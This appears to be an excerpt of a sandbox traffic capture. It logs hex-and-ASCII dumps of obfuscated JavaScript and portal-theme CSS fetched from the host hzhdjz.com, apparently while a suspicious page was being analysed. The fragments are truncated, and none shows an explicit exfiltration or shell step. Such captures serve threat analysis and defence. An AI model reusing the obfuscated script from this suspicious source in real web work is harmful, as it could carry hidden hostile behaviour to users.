32 64 2c 5f 30 78 31 31 36 30 66 62 2c 5f 30 78 32 64 Data Ascii: 4a5184}=_0x1f727e,_0x2d43be=_0x32e576[_0x3894f9(0x2a2)+'ns'];if(_0x1f727e[_0x3894f9(0x1d3)]\|\|_0x1f727e[_0x3894f9(0x470)])return!0x0;if(_0x43dff1&&_0x4a5184>=0x0){if(_0x4a5184&0x400)return!0x0;if(_0x4a5184&0x10)return _0x329c2d?Rs(_0x329c2d,_0x1160fb,_0x2d
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 30 78 32 36 62 65 31 35 2c 5f 30 78 34 34 32 31 65 35 29 7c 7c 64 65 28 5f 30 78 33 62 34 39 32 31 2c 5f 30 78 34 34 32 31 65 35 29 7c 7c 64 65 28 75 72 2c 5f 30 78 34 34 32 31 65 35 29 7c 7c 64 65 28 5f 30 78 35 31 64 36 62 62 5b 27 63 6f 6e 66 69 67 27 5d 5b 5f 30 78 34 37 36 62 33 64 28 30 78 32 63 39 29 2b 27 65 72 74 69 65 73 27 5d 2c 5f 30 78 34 34 32 31 65 35 29 3b 7d 2c 27 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 27 28 5f 30 78 62 39 65 61 39 39 2c 5f 30 78 32 64 37 61 62 35 2c 5f 30 78 61 36 30 37 64 29 7b 76 61 72 20 5f 30 78 37 66 31 65 33 34 3d 61 33 38 5f 30 78 33 39 61 63 66 63 3b 72 65 74 75 72 6e 20 5f 30 78 61 36 30 37 64 5b 27 67 65 74 27 5d 21 3d 6e 75 6c 6c 3f 5f 30 78 62 39 65 61 39 39 5b 27 5f 27 5d 5b 5f 30 78 37 66 31 65 33 34 28 Data Ascii: 0x26be15,_0x4421e5)\|\|de(_0x3b4921,_0x4421e5)\|\|de(ur,_0x4421e5)\|\|de(_0x51d6bb['config'][_0x476b3d(0x2c9)+'erties'],_0x4421e5);},'defineProperty'(_0xb9ea99,_0x2d7ab5,_0xa607d){var _0x7f1e34=a38_0x39acfc;return _0xa607d['get']!=null?_0xb9ea99['_'][_0x7f1e34(
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 2c 5f 30 78 34 36 33 39 61 31 29 29 2c 5f 30 78 32 39 62 33 62 39 21 3d 6e 75 6c 6c 26 26 21 79 65 28 5f 30 78 32 39 62 33 62 39 29 26 26 28 5f 30 78 32 39 62 33 62 39 3d 6e 75 6c 6c 29 3b 63 6f 6e 73 74 20 5f 30 78 34 36 36 62 39 62 3d 6a 61 28 29 2c 5f 30 78 33 65 38 30 66 65 3d 6e 65 77 20 53 65 74 28 29 3b 6c 65 74 20 5f 30 78 64 31 65 39 39 3d 21 30 78 31 3b 63 6f 6e 73 74 20 5f 30 78 33 37 33 33 30 30 3d 5f 30 78 34 36 36 62 39 62 5b 27 61 70 70 27 5d 3d 7b 27 5f 75 69 64 27 3a 62 6c 2b 2b 2c 27 5f 63 6f 6d 70 6f 6e 65 6e 74 27 3a 5f 30 78 34 36 33 39 61 31 2c 27 5f 70 72 6f 70 73 27 3a 5f 30 78 32 39 62 33 62 39 2c 27 5f 63 6f 6e 74 61 69 6e 65 72 27 3a 6e 75 6c 6c 2c 27 5f 63 6f 6e 74 65 78 74 27 3a 5f 30 78 34 36 36 62 39 62 2c 27 5f 69 6e 73 74 Data Ascii: ,_0x4639a1)),_0x29b3b9!=null&&!ye(_0x29b3b9)&&(_0x29b3b9=null);const _0x466b9b=ja(),_0x3e80fe=new Set();let _0xd1e99=!0x1;const _0x373300=_0x466b9b['app']={'_uid':bl++,'_component':_0x4639a1,'_props':_0x29b3b9,'_container':null,'_context':_0x466b9b,'_inst
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 27 73 75 62 54 72 65 65 27 5d 3d 5f 30 78 34 36 34 32 35 65 2c 5f 30 78 32 65 64 39 38 66 28 5f 30 78 32 38 33 38 31 65 2c 5f 30 78 34 36 34 32 35 65 2c 5f 30 78 34 31 62 66 63 32 28 5f 30 78 32 38 33 38 31 65 5b 27 65 6c 27 5d 29 2c 5f 30 78 34 61 37 63 66 37 28 5f 30 78 32 38 33 38 31 65 29 2c 5f 30 78 35 36 35 61 30 39 2c 5f 30 78 61 38 31 34 61 32 2c 5f 30 78 33 35 35 39 31 30 29 2c 5f 30 78 32 31 65 32 64 32 5b 27 65 6c 27 5d 3d 5f 30 78 34 36 34 32 35 65 5b 27 65 6c 27 5d 2c 5f 30 78 33 35 39 37 38 61 3d 3d 3d 6e 75 6c 6c 26 26 47 75 28 5f 30 78 35 36 35 61 30 39 2c 5f 30 78 34 36 34 32 35 65 5b 27 65 6c 27 5d 29 2c 5f 30 78 34 61 66 64 30 34 26 26 4e 65 28 5f 30 78 34 61 66 64 30 34 2c 5f 30 78 61 38 31 34 61 32 29 2c 28 5f 30 78 32 30 65 65 36 64 Data Ascii: 'subTree']=_0x46425e,_0x2ed98f(_0x28381e,_0x46425e,_0x41bfc2(_0x28381e['el']),_0x4a7cf7(_0x28381e),_0x565a09,_0xa814a2,_0x355910),_0x21e2d2['el']=_0x46425e['el'],_0x35978a===null&&Gu(_0x565a09,_0x46425e['el']),_0x4afd04&&Ne(_0x4afd04,_0xa814a2),(_0x20ee6d
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 6d 69 63 43 68 69 27 2b 5f 30 78 35 33 63 35 37 38 28 30 78 33 62 36 29 5d 2c 5f 30 78 32 61 39 62 33 35 2c 5f 30 78 65 66 35 61 64 2c 5f 30 78 31 37 35 31 30 35 2c 5f 30 78 32 32 32 35 62 64 2c 5f 30 78 31 31 34 39 39 37 2c 5f 30 78 32 37 63 32 66 35 29 2c 51 30 28 5f 30 78 35 33 34 63 37 61 2c 5f 30 78 31 36 65 38 64 62 2c 21 30 78 30 29 29 3a 5f 30 78 66 61 31 61 38 63 7c 7c 5f 30 78 32 31 30 35 31 33 28 5f 30 78 35 33 34 63 37 61 2c 5f 30 78 31 36 65 38 64 62 2c 5f 30 78 65 66 35 61 64 2c 5f 30 78 62 33 37 61 35 65 2c 5f 30 78 31 37 35 31 30 35 2c 5f 30 78 32 32 32 35 62 64 2c 5f 30 78 31 31 34 39 39 37 2c 5f 30 78 32 37 63 32 66 35 2c 21 30 78 31 29 2c 5f 30 78 35 37 61 36 39 32 29 5f 30 78 33 38 62 32 65 63 7c 7c 52 72 28 5f 30 78 31 36 65 38 64 62 Data Ascii: micChi'+_0x53c578(0x3b6)],_0x2a9b35,_0xef5ad,_0x175105,_0x2225bd,_0x114997,_0x27c2f5),Q0(_0x534c7a,_0x16e8db,!0x0)):_0xfa1a8c\|\|_0x210513(_0x534c7a,_0x16e8db,_0xef5ad,_0xb37a5e,_0x175105,_0x2225bd,_0x114997,_0x27c2f5,!0x1),_0x57a692)_0x38b2ec\|\|Rr(_0x16e8db
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 63 66 63 28 30 78 34 33 63 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 34 38 62 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 36 63 29 2c 4f 74 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 3c 27 75 27 3f 64 6f 63 75 6d 65 6e 74 3a 6e 75 6c 6c 2c 55 73 3d 4f 74 26 26 4f 74 5b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 63 61 29 2b 27 65 6e 74 27 5d 28 27 74 65 6d 70 6c 61 74 65 27 29 2c 4a 6c 3d 7b 27 69 6e 73 65 72 74 27 3a 28 5f 30 78 31 39 37 62 30 39 2c 5f 30 78 31 30 37 62 30 66 2c 5f 30 78 35 62 32 36 31 30 29 3d 3e 7b 76 61 72 20 5f 30 78 34 66 31 33 65 61 3d 61 33 38 5f 30 78 33 39 61 63 66 63 3b 5f 30 78 31 30 37 62 30 66 5b 5f 30 78 34 66 31 33 65 61 28 30 78 34 37 36 29 2b 27 72 65 27 5d 28 5f 30 78 31 39 37 62 30 39 2c 5f Data Ascii: cfc(0x43c)+a38_0x39acfc(0x48b)+a38_0x39acfc(0x56c),Ot=typeof document<'u'?document:null,Us=Ot&&Ot[a38_0x39acfc(0x5ca)+'ent']('template'),Jl={'insert':(_0x197b09,_0x107b0f,_0x5b2610)=>{var _0x4f13ea=a38_0x39acfc;_0x107b0f[_0x4f13ea(0x476)+'re'](_0x197b09,_
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 36 34 37 66 2c 5f 30 78 35 34 33 37 36 37 29 3a 5f 30 78 35 63 63 35 36 65 5b 5f 30 78 33 32 33 30 39 37 5d 3d 5f 30 78 35 34 33 37 36 37 3b 7d 72 65 74 75 72 6e 20 5f 30 78 35 63 63 35 36 65 3b 7d 63 6f 6e 73 74 20 41 63 3d 53 79 6d 62 6f 6c 28 29 3b 66 75 6e 63 74 69 6f 6e 20 42 63 28 5f 30 78 35 61 63 33 64 37 29 7b 76 61 72 20 5f 30 78 63 36 36 32 66 63 3d 61 33 38 5f 30 78 33 39 61 63 66 63 3b 72 65 74 75 72 6e 21 79 30 28 5f 30 78 35 61 63 33 64 37 29 7c 7c 21 5f 30 78 35 61 63 33 64 37 5b 27 68 61 73 4f 77 6e 50 72 6f 70 27 2b 5f 30 78 63 36 36 32 66 63 28 30 78 36 33 39 29 5d 28 41 63 29 3b 7d 63 6f 6e 73 74 20 7b 61 73 73 69 67 6e 3a 5f 74 7d 3d 4f 62 6a 65 63 74 3b 66 75 6e 63 74 69 6f 6e 20 46 63 28 5f 30 78 66 39 32 36 31 35 29 7b 76 61 72 20 Data Ascii: 647f,_0x543767):_0x5cc56e[_0x323097]=_0x543767;}return _0x5cc56e;}const Ac=Symbol();function Bc(_0x5ac3d7){var _0xc662fc=a38_0x39acfc;return!y0(_0x5ac3d7)\|\|!_0x5ac3d7['hasOwnProp'+_0xc662fc(0x639)](Ac);}const {assign:_t}=Object;function Fc(_0xf92615){var

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:45 UTC	364	OUT	GET /modify/assets/7f8692c3ajMSD.js HTTP/1.1 Host: hzhdjz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:45 UTC	361	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4610 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:30 GMT ETag: W/"1202-19024951b30"
2024-09-27 00:32:45 UTC	4610	IN	Data Raw: 63 6f 6e 73 74 20 61 32 30 5f 30 78 32 33 38 38 31 34 3d 61 32 30 5f 30 78 39 37 34 33 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 32 62 31 37 37 2c 5f 30 78 35 36 62 35 64 65 29 7b 63 6f 6e 73 74 20 5f 30 78 36 33 65 66 37 36 3d 61 32 30 5f 30 78 39 37 34 33 2c 5f 30 78 33 61 36 64 66 37 3d 5f 30 78 31 32 62 31 37 37 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 32 37 39 61 30 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 33 65 66 37 36 28 30 78 31 37 30 29 29 2f 30 78 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 33 65 66 37 36 28 30 78 31 37 61 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 33 65 66 37 36 28 30 78 31 38 61 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 Data Ascii: const a20_0x238814=a20_0x9743;(function(_0x12b177,_0x56b5de){const _0x63ef76=a20_0x9743,_0x3a6df7=_0x12b177();while(!![]){try{const _0x3279a0=-parseInt(_0x63ef76(0x170))/0x1(-parseInt(_0x63ef76(0x17a))/0x2)+-parseInt(_0x63ef76(0x18a))/0x3(-parseInt(_0x6

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:45 UTC	557	OUT	GET /modify/assets/297557e4tE5dP.css HTTP/1.1 Host: hzhdjz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://hzhdjz.com/modify/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:45 UTC	350	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:45 GMT Content-Type: text/css; charset=utf-8 Content-Length: 358609 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:28 GMT ETag: W/"578d1-19024951360"
2024-09-27 00:32:45 UTC	16034	IN	Data Raw: 2e 77 70 54 6f 6f 6c 62 61 72 43 6f 6d 6d 6f 6e 49 6d 61 67 65 73 2d 41 64 64 54 6f 7b 77 69 64 74 68 3a 38 70 78 3b 68 65 69 67 68 74 3a 38 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 7d 2e 77 70 54 6f 6f 6c 62 61 72 43 6f 6d 6d 6f 6e 49 6d 61 67 65 73 2d 41 64 76 61 6e 63 65 64 4d 6f 64 65 48 6f 76 65 72 7b 77 69 64 74 68 3a 31 38 70 78 3b 68 65 69 67 68 74 3a 31 38 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 2d 31 38 70 78 7d 2e 77 70 54 6f 6f 6c 62 61 72 43 6f 6d 6d 6f 6e 49 6d 61 67 65 73 2d 41 64 76 61 6e 63 65 64 4d 6f 64 65 48 6f 76 65 72 2d 72 74 6c 7b 77 69 64 74 68 3a 31 38 70 78 3b 68 65 69 67 68 74 3a 31 38 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 2d Data Ascii: .wpToolbarCommonImages-AddTo{width:8px;height:8px;background-position:0 0}.wpToolbarCommonImages-AdvancedModeHover{width:18px;height:18px;background-position:0-18px}.wpToolbarCommonImages-AdvancedModeHover-rtl{width:18px;height:18px;background-position:0-
2024-09-27 00:32:45 UTC	16384	IN	Data Raw: 6d 4b 73 49 45 52 6a 31 66 2f 31 36 2b 54 6b 35 41 53 34 66 62 75 6c 70 61 55 46 57 46 6c 5a 58 56 31 64 42 64 78 75 4c 68 62 51 4e 45 33 54 39 42 56 6d 67 72 75 37 75 37 75 37 75 2f 7a 76 71 61 6e 70 36 61 6b 70 51 4b 65 72 72 61 32 74 42 58 37 2b 74 46 71 74 56 70 34 41 4b 53 4d 4a 52 33 70 4b 5a 48 31 43 58 4b 30 75 4c 71 5a 70 34 50 56 72 4c 75 38 67 73 4e 76 74 64 72 73 39 57 52 5a 70 32 41 7a 35 66 4c 39 2f 2b 33 79 41 77 54 41 36 61 6a 41 41 4b 79 76 4c 79 38 76 4c 51 48 6b 35 74 77 6c 53 4b 70 58 4b 2f 48 77 2b 59 59 71 45 32 2b 31 32 65 7a 7a 38 4d 74 66 61 65 76 66 75 6e 54 76 41 6d 7a 64 76 33 37 35 37 42 36 6a 56 61 72 56 61 7a 63 39 35 6a 55 61 6a 30 57 69 53 33 77 78 64 47 6f 67 51 6b 64 6a 63 33 4e 7a 63 33 47 54 5a 6f 61 47 68 6f 61 45 68 Data Ascii: mKsIERj1f/16+Tk5AS4fbulpaUFWFlZXV1dBdxuLhbQNE3T9BVmgru7u7u7u/zvqanp6akpQKerra2tBX7+tFqtVp4AKSMJR3pKZH1CXK0uLqZp4PVrLu8gsNvtdrs9WRZp2Az5fL9/+3yAwTA6ajAAKyvLy8vLQHk5twlSKpXK/Hw+YYqE2+12ezz8MtfaevfunTvAmzdv3757B6jVarVazc95jUaj0WiS3wxdGogQkdjc3Nzc3GTZoaGhoaEh
2024-09-27 00:32:45 UTC	16384	IN	Data Raw: 41 55 43 6f 58 34 6b 6a 77 6e 39 51 4b 42 51 43 41 51 41 42 6f 61 47 68 73 62 47 77 47 37 33 57 35 6e 47 47 42 69 34 6c 39 50 61 47 70 71 61 6d 70 71 53 6e 34 41 6b 2f 59 41 4d 76 4c 45 46 62 6b 52 41 44 6f 36 4f 6a 6f 36 4f 6f 42 77 6d 43 4d 32 50 7a 38 2f 50 7a 2f 50 74 78 73 63 48 42 78 38 39 41 69 67 36 65 4a 69 74 66 71 69 6f 4b 65 6e 54 69 65 77 73 4c 43 77 73 4c 6a 49 50 78 38 65 48 68 34 65 48 67 62 55 36 70 4b 53 6b 68 4c 67 79 35 65 4e 6a 59 30 4e 59 47 46 68 63 58 46 78 6b 58 2f 76 39 6a 62 6e 63 58 71 39 58 71 2f 58 43 2f 65 45 68 44 30 67 4d 67 6a 4e 7a 73 37 4f 7a 73 34 43 74 62 55 31 4e 54 55 31 67 45 4b 68 55 43 67 55 52 43 43 41 31 43 54 6c 2b 2f 63 63 77 65 50 6a 34 2b 50 6a 59 37 34 6b 7a 79 50 72 45 7a 73 2b 6e 38 2f 6e 38 2f 47 78 5a Data Ascii: AUCoX4kjwn9QKBQCAQABoaGhsbGwG73W5nGGBi4l9PaGpqampqSn4Ak/YAMvLEFbkRADo6Ojo6OoBwmCM2Pz8/Pz/PtxscHBx89Aig6eJitfqioKenTiewsLCwsLjIPx8eHh4eHgbU6pKSkhLgy5eNjY0NYGFhcXFxkX/v9jbncXq9Xq/XC/eEhD0gMgjNzs7Ozs4CtbU1NTU1gEKhUCgURCCA1CTl+/ccwePj4+PjY74kzyPrEzs+n8/n8/GxZ
2024-09-27 00:32:45 UTC	16384	IN	Data Raw: 61 73 74 3e 73 70 61 6e 2c 2e 77 70 74 68 65 6d 65 42 61 6e 6e 65 72 20 75 6c 2e 77 70 74 68 65 6d 65 43 6f 6d 6d 6f 6e 41 63 74 69 6f 6e 73 20 6c 69 2e 77 70 74 68 65 6d 65 4c 61 73 74 20 61 2c 2e 77 70 74 68 65 6d 65 42 61 6e 6e 65 72 20 75 6c 2e 77 70 74 68 65 6d 65 43 6f 6d 6d 6f 6e 41 63 74 69 6f 6e 73 20 6c 69 2e 77 70 74 68 65 6d 65 4c 61 73 74 20 61 3a 61 63 74 69 76 65 7b 62 6f 72 64 65 72 3a 30 7d 2e 77 70 74 68 65 6d 65 41 63 74 69 6f 6e 44 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 2e 77 70 74 68 65 6d 65 41 63 74 69 6f 6e 44 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 7b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 7d 2e 77 70 74 68 65 6d 65 41 63 74 69 6f 6e 44 69 73 61 62 6c 65 64 20 2e 77 70 74 68 65 6d 65 55 6e 64 65 72 6c 69 6e 65 54 Data Ascii: ast>span,.wpthemeBanner ul.wpthemeCommonActions li.wpthemeLast a,.wpthemeBanner ul.wpthemeCommonActions li.wpthemeLast a:active{border:0}.wpthemeActionDisabled:hover,.wpthemeActionDisabled:focus{cursor:not-allowed}.wpthemeActionDisabled .wpthemeUnderlineT
2024-09-27 00:32:45 UTC	16384	IN	Data Raw: 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 77 70 73 54 61 73 6b 44 69 73 61 62 6c 65 64 49 63 6f 6e 54 65 78 74 42 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 64 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 67 69 66 3b 62 61 73 65 36 34 2c 52 30 6c 47 4f 44 6c 68 41 51 41 55 41 4c 4d 41 41 41 41 41 41 50 2f 2f 2f 2f 44 77 38 4f 37 75 37 75 33 74 37 65 72 71 36 75 66 6e 35 2b 58 6c 35 65 4c 69 34 75 48 68 34 64 2f 66 33 2f 2f 2f 2f 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 48 35 42 41 45 41 41 41 73 41 4c 41 41 41 41 41 41 42 41 Data Ascii: align:center;vertical-align:middle;white-space:nowrap}.wpsTaskDisabledIconTextBackground{background-color:#ddd;background-image:url(data:image/gif;base64,R0lGODlhAQAUALMAAAAAAP////Dw8O7u7u3t7erq6ufn5+Xl5eLi4uHh4d/f3////wAAAAAAAAAAAAAAACH5BAEAAAsALAAAAAABA
2024-09-27 00:32:46 UTC	16384	IN	Data Raw: 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 2f 38 41 41 45 51 67 41 45 51 41 42 41 77 45 52 41 41 49 52 41 51 4d 52 41 66 2f 45 41 46 30 41 41 41 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 59 49 43 67 45 42 41 41 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 67 51 46 42 78 41 41 41 51 4d 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 46 54 46 76 43 42 41 70 49 44 45 51 41 43 41 67 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 46 41 46 68 55 51 49 56 2f 39 6f 41 44 41 4d 42 41 41 49 52 41 78 45 41 50 77 43 79 53 4b 4b 33 6c 56 6a 53 75 68 46 41 74 53 68 6c 6f 31 7a 62 54 55 46 75 7a 6b 53 72 61 68 38 56 4a 50 50 2f 32 51 3d 3d 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 Data Ascii: DAwMDAwMDAwMDAwMD/8AAEQgAEQABAwERAAIRAQMRAf/EAF0AAAMAAAAAAAAAAAAAAAAAAAYICgEBAAMAAAAAAAAAAAAAAAAABgQFBxAAAQMFAAAAAAAAAAAAAAAAAAFTFvCBApIDEQACAgMAAAAAAAAAAAAAAAAAFAFhUQIV/9oADAMBAAIRAxEAPwCySKK3lVjSuhFAtShlo1zbTUFuzkSrah8VJPP/2Q==);background-repeat:repeat
2024-09-27 00:32:46 UTC	16384	IN	Data Raw: 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 48 78 38 66 2f 38 41 41 45 51 67 41 42 51 41 4b 41 77 45 52 41 41 49 52 41 51 4d 52 41 66 2f 45 41 46 59 41 41 51 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 48 41 51 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 42 41 67 59 44 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 52 41 42 49 42 51 51 4b 69 45 78 52 44 59 79 51 52 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 44 2f 32 67 41 4d 41 77 45 41 41 68 45 44 45 51 41 2f 41 4c 7a 58 69 66 48 61 47 78 79 35 41 35 30 79 55 42 38 50 58 61 67 2f 2f 39 6b 3d 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 Data Ascii: 8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgABQAKAwERAAIRAQMRAf/EAFYAAQEAAAAAAAAAAAAAAAAAAAIHAQEAAAAAAAAAAAAAAAAAAAAAEAABAgYDAAAAAAAAAAAAAAARABIBQQKiExRDYyQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ALzXifHaGxy5A50yUB8PXag//9k=);background-posi
2024-09-27 00:32:46 UTC	16384	IN	Data Raw: 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 70 78 3b 77 69 64 74 68 3a 31 39 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 36 70 78 7d 2e 74 72 65 65 5f 6c 61 62 65 6c 48 69 67 68 6c 69 67 68 74 53 74 79 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 56 65 72 64 61 6e 61 2c 47 65 6e 65 76 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 2e 74 72 65 65 5f 6c 61 62 65 6c 4d 6f 75 73 65 6f 76 65 72 53 74 79 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f Data Ascii: ;border-left:0px;width:19px;border-bottom:0px;height:16px}.tree_labelHighlightStyle{font-size:11px;color:#000;font-family:Tahoma,Verdana,Geneva,Arial,Helvetica,sans-serif;font-weight:700}.tree_labelMouseoverStyle{font-size:11px;color:#000;font-family:Taho
2024-09-27 00:32:46 UTC	16384	IN	Data Raw: 43 6f 6e 74 72 6f 6c 42 6f 64 79 20 2e 6c 6f 74 75 73 57 65 6c 63 6f 6d 65 42 6f 78 7b 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 7d 2e 77 70 74 68 65 6d 65 50 6c 61 69 6e 20 2e 77 70 74 68 65 6d 65 43 6f 6e 74 72 6f 6c 48 65 61 64 65 72 20 2e 77 70 74 68 65 6d 65 4d 65 6e 75 46 6f 63 75 73 2c 2e 77 70 74 68 65 6d 65 5f 69 65 37 20 2e 77 70 74 68 65 6d 65 50 6c 61 69 6e 20 2e 77 70 74 68 65 6d 65 43 6f 6e 74 72 6f 6c 48 65 61 64 65 72 20 2e 77 70 74 68 65 6d 65 4d 65 6e 75 46 6f 63 75 73 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 74 68 65 6d 65 5f 69 65 37 20 2e 77 70 74 68 65 6d 65 4d 65 6e 75 44 72 6f 70 44 6f 77 6e 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 74 68 65 6d 65 4d 65 6e 75 4c 65 66 74 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 Data Ascii: ControlBody .lotusWelcomeBox{position:static}.wpthemePlain .wpthemeControlHeader .wpthemeMenuFocus,.wptheme_ie7 .wpthemePlain .wpthemeControlHeader .wpthemeMenuFocus{display:none}.wptheme_ie7 .wpthemeMenuDropDown{min-height:0}.wpthemeMenuLeft{color:#000;f
2024-09-27 00:32:46 UTC	16384	IN	Data Raw: 30 2c 30 29 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 33 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 38 35 2c 2e 30 35 2c 2e 31 38 2c 31 2e 33 35 29 7d 2e 74 6f 67 67 6c 65 2d 73 74 61 74 65 3a 63 68 65 63 6b 65 64 7e 2e 61 63 74 69 76 65 2d 62 67 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 35 30 25 2c 30 2c 30 29 7d 2e 74 6f 67 67 6c 65 2d 73 74 61 74 65 3a 63 68 65 63 6b 65 64 7e 2e 74 6f 67 67 6c 65 2d 69 6e 6e 65 72 20 2e 69 6e 64 69 63 61 74 6f 72 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 35 25 2c 30 2c 30 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 35 38 33 31 38 7d 2e 64 69 73 61 62 6c 65 43 6c 69 63 6b 7b 6f 70 61 63 69 74 79 3a 2e 35 7d 2e 73 68 6f 77 2d Data Ascii: 0,0);transition:transform .35s cubic-bezier(.85,.05,.18,1.35)}.toggle-state:checked~.active-bg{transform:translate3d(-50%,0,0)}.toggle-state:checked~.toggle-inner .indicator{transform:translate3d(25%,0,0);background:#f58318}.disableClick{opacity:.5}.show-